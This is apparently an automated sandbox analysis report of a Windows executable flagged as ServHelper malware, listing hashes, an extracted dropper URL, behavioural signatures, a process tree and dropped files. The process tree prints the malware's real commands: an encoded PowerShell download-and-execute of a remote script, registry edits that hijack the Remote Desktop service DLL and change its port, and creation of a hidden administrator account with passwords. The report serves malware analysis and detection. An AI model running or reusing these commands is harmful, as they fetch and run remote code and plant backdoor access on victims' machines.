Analysis

  • max time kernel
    60s
  • max time network
    121s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    14-08-2021 06:42

General

  • Target

    472208d7ba18d4c14b7e90b9db5d6feb.exe

  • Size

    5.9MB

  • MD5

    472208d7ba18d4c14b7e90b9db5d6feb

  • SHA1

    ff24cc43998ff99e61b1a838e1d51c4888498935

  • SHA256

    ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

  • SHA512

    9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
    "C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4004
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\upn5lb25\upn5lb25.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2116
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7862.tmp" "c:\Users\Admin\AppData\Local\Temp\upn5lb25\CSC3921219BA57B4BDFB8B9BD17D4357878.TMP"
          4⤵
            PID:2660
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3856
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1152
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1612
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:2688
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3944
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2128
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1516
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1948
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:580
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3868
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:968
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2372
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1768
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2448
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:1264
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2688
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:1612
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2312
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2848
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:2288
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc udj4QYwQ /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4012
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc udj4QYwQ /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3856
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc udj4QYwQ /add
                          3⤵
                            PID:2004
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1096
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:580
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:2112
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2676
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2084
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:3780
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2312
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2656
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:2004
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc udj4QYwQ
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2548
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc udj4QYwQ
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1948
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc udj4QYwQ
                                  3⤵
                                    PID:2672
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3240
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:2676
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:1480
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                      • Modifies data under HKEY_USERS
                                      PID:2288
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:4080
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:2388
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2644
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
                                        1⤵
                                          PID:1628
                                          • C:\Windows\system32\net.exe
                                            net user wgautilacc 111213
                                            2⤵
                                              PID:2312
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user wgautilacc 111213
                                                3⤵
                                                  PID:2548
                                              • C:\Windows\system32\net.exe
                                                net user wgautilacc /active:yes
                                                2⤵
                                                  PID:3620
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 user wgautilacc /active:yes
                                                    3⤵
                                                      PID:2208

                                                Network

                                                MITRE ATT&CK Enterprise v6

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • C:\Users\Admin\AppData\Local\Temp\RES7862.tmp

                                                  MD5

                                                  a973a40c3594d9b42da3edb3cd9adf65

                                                  SHA1

                                                  e264f31b58285c0da38fc0bb8534b92ade7936ab

                                                  SHA256

                                                  2011308040b648289c1fbbf05db1a69d85449af900669046149fc1a94530d5e4

                                                  SHA512

                                                  7557c52b6d1dbc32ec7ffcfe3afeb4614e5246a9a3d84bf59853e8aff872682e5041217412e08043072af87364daec54a13faf070889c96e8004d516ff8f251e

                                                • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                  MD5

                                                  3447df88de7128bdc34942334b2fab98

                                                  SHA1

                                                  519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                  SHA256

                                                  9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                  SHA512

                                                  2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                  MD5

                                                  00fb904b2dd958760943b89400e9b7f9

                                                  SHA1

                                                  8c825862b6f70cbaef991525f31100f713e61e7d

                                                  SHA256

                                                  392e751cec2e13cbbea5161ae4044532961f8e9013cebaa120ac7553388c919a

                                                  SHA512

                                                  ee4c598b268768f2a2063064ff2a771042bfa5b41e4c5029cb297a17c265a93ab749a3ffecfe28d9e5084068d77e487d14291e780a3d6da1e0fcfbc26b6bc28a

                                                • C:\Users\Admin\AppData\Local\Temp\upn5lb25\upn5lb25.dll

                                                  MD5

                                                  46fc4a5e10c710882d06336ee0e5a17f

                                                  SHA1

                                                  c228ca6814d2e6a119aa2635c125333f209e3c09

                                                  SHA256

                                                  7d42a798bfde65c3c0c81a89bea6baba95bab2fbd0fdd406560b34f079f899ea

                                                  SHA512

                                                  71711cf9559fe3df859280d123975960c99f0c221dd4e249340e604323b22b1afe05d45adad717d45e958414650720bd2e54a953bd0bb3ff2f6b158c7e005238

                                                • \??\c:\Users\Admin\AppData\Local\Temp\upn5lb25\CSC3921219BA57B4BDFB8B9BD17D4357878.TMP

                                                  MD5

                                                  e071af33fd92727e48652c2ab2caed94

                                                  SHA1

                                                  7d25eb0bb214d20d6d9a7741e40c26f4b0a3d616

                                                  SHA256

                                                  7ec5dfb74b5cf17b2444c016ffdf6fb65acf0447baaf3f09502b906cb0b73c56

                                                  SHA512

                                                  5809d01409f71f20e56c5516859325f62ddc34a5544cf0995d296f5951cea2efd242d5ca6391e730e503da1c7e1d75a57ad4ac0cc5096a8bbfce2664bb9093ce

                                                • \??\c:\Users\Admin\AppData\Local\Temp\upn5lb25\upn5lb25.0.cs

                                                  MD5

                                                  4864fc038c0b4d61f508d402317c6e9a

                                                  SHA1

                                                  72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                  SHA256

                                                  0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                  SHA512

                                                  9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                • \??\c:\Users\Admin\AppData\Local\Temp\upn5lb25\upn5lb25.cmdline

                                                  MD5

                                                  74fea6194bb71b49254d9719e3128e25

                                                  SHA1

                                                  5c390cf50b8d5455494882dd735fc4346be4fa88

                                                  SHA256

                                                  4900bd9b41421ad903fa87bb1e786408cd55fdbff445d78f6d7d18deb1e365c2

                                                  SHA512

                                                  90efaeb509d0dcb8dd35598be01acf4c7d78ba338a8c1a55295ff2e04af26ccde48fc73eb916403432c4c81ef660cad1012f03ba0e7f5ff0c959336b12791261

                                                • \Windows\Branding\mediasrv.png

                                                  MD5

                                                  b110f38845e18a04ab59a7d8a134ef40

                                                  SHA1

                                                  8119030034e6fbe62d875e824b5233c1f29d61a0

                                                  SHA256

                                                  1cbd533a8cf6875e9b9bc60b11711b591bd30aac6377a11ee90c2735182414ea

                                                  SHA512

                                                  80eb80651141c2e00165f089700cc15eb3c5e5eee4ce4e91759e63f5230db8445bc3793c0f5fd259f98ce2939f19633fe7225db990e6574fd739f1d29cf7f223

                                                • \Windows\Branding\mediasvc.png

                                                  MD5

                                                  5768a809b9fcbff117dffa8cbf2e8852

                                                  SHA1

                                                  a056e76d15bc7509d0361175b2ae4ba348460cd6

                                                  SHA256

                                                  8ab19cdbe2b963c8bcf8cac6a11e003423ec91ffad88d885d550beb835e46094

                                                  SHA512

                                                  99d14d6b3c6cf2e872def0b5dd76ffd81d4c71b577bf5fa4700dbb524d5d26bf09d4ffab2dfc6d493303711b635669f35e7cfc90578e6cc2e2f251f422818b8b

                                                • memory/580-353-0x0000000000000000-mapping.dmp

                                                • memory/580-340-0x0000000000000000-mapping.dmp

                                                • memory/968-342-0x0000000000000000-mapping.dmp

                                                • memory/1152-280-0x0000025CB6858000-0x0000025CB685A000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/1152-253-0x0000025CB6853000-0x0000025CB6855000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/1152-252-0x0000025CB6850000-0x0000025CB6852000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/1152-243-0x0000000000000000-mapping.dmp

                                                • memory/1152-279-0x0000025CB6856000-0x0000025CB6858000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/1264-346-0x0000000000000000-mapping.dmp

                                                • memory/1516-336-0x0000000000000000-mapping.dmp

                                                • memory/1612-296-0x0000000000000000-mapping.dmp

                                                • memory/1612-448-0x0000000000000000-mapping.dmp

                                                • memory/1768-344-0x0000000000000000-mapping.dmp

                                                • memory/1948-359-0x0000000000000000-mapping.dmp

                                                • memory/1948-339-0x0000000000000000-mapping.dmp

                                                • memory/2004-358-0x0000000000000000-mapping.dmp

                                                • memory/2004-352-0x0000000000000000-mapping.dmp

                                                • memory/2084-355-0x0000000000000000-mapping.dmp

                                                • memory/2112-354-0x0000000000000000-mapping.dmp

                                                • memory/2116-136-0x0000000000000000-mapping.dmp

                                                • memory/2128-335-0x0000000000000000-mapping.dmp

                                                • memory/2208-434-0x0000000000000000-mapping.dmp

                                                • memory/2212-251-0x000002B35C328000-0x000002B35C32A000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2212-221-0x000002B35C323000-0x000002B35C325000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2212-201-0x0000000000000000-mapping.dmp

                                                • memory/2212-219-0x000002B35C320000-0x000002B35C322000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2212-222-0x000002B35C326000-0x000002B35C328000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2288-350-0x0000000000000000-mapping.dmp

                                                • memory/2288-362-0x0000000000000000-mapping.dmp

                                                • memory/2312-431-0x0000000000000000-mapping.dmp

                                                • memory/2372-343-0x0000000000000000-mapping.dmp

                                                • memory/2388-363-0x0000000000000000-mapping.dmp

                                                • memory/2448-345-0x0000000000000000-mapping.dmp

                                                • memory/2548-432-0x0000000000000000-mapping.dmp

                                                • memory/2644-374-0x000001E9DA833000-0x000001E9DA835000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2644-430-0x000001E9DA838000-0x000001E9DA839000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/2644-379-0x000001E9DA836000-0x000001E9DA838000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2644-373-0x000001E9DA830000-0x000001E9DA832000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2644-364-0x0000000000000000-mapping.dmp

                                                • memory/2656-357-0x0000000000000000-mapping.dmp

                                                • memory/2660-140-0x0000000000000000-mapping.dmp

                                                • memory/2672-360-0x0000000000000000-mapping.dmp

                                                • memory/2676-361-0x0000000000000000-mapping.dmp

                                                • memory/2688-447-0x0000000000000000-mapping.dmp

                                                • memory/2688-297-0x0000000000000000-mapping.dmp

                                                • memory/2848-349-0x0000000000000000-mapping.dmp

                                                • memory/3620-433-0x0000000000000000-mapping.dmp

                                                • memory/3728-119-0x0000024BB1716000-0x0000024BB1717000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3728-114-0x0000024BCBC40000-0x0000024BCC060000-memory.dmp

                                                  Filesize

                                                  4.1MB

                                                • memory/3728-117-0x0000024BB1713000-0x0000024BB1715000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3728-118-0x0000024BB1715000-0x0000024BB1716000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3728-116-0x0000024BB1710000-0x0000024BB1712000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3780-356-0x0000000000000000-mapping.dmp

                                                • memory/3856-192-0x000002627F356000-0x000002627F358000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3856-159-0x0000000000000000-mapping.dmp

                                                • memory/3856-167-0x000002627F353000-0x000002627F355000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3856-166-0x000002627F350000-0x000002627F352000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3856-351-0x0000000000000000-mapping.dmp

                                                • memory/3868-341-0x0000000000000000-mapping.dmp

                                                • memory/3944-298-0x0000000000000000-mapping.dmp

                                                • memory/4004-129-0x00000224726C0000-0x00000224726C2000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/4004-120-0x0000000000000000-mapping.dmp

                                                • memory/4004-144-0x0000022472950000-0x0000022472951000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/4004-125-0x0000022472690000-0x0000022472691000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/4004-130-0x00000224726C3000-0x00000224726C5000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/4004-139-0x00000224726C6000-0x00000224726C8000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/4004-128-0x00000224729C0000-0x00000224729C1000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/4004-151-0x0000022472FA0000-0x0000022472FA1000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/4004-152-0x0000022473330000-0x0000022473331000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/4004-146-0x00000224726C8000-0x00000224726C9000-memory.dmp

                                                  Filesize

                                                  4KB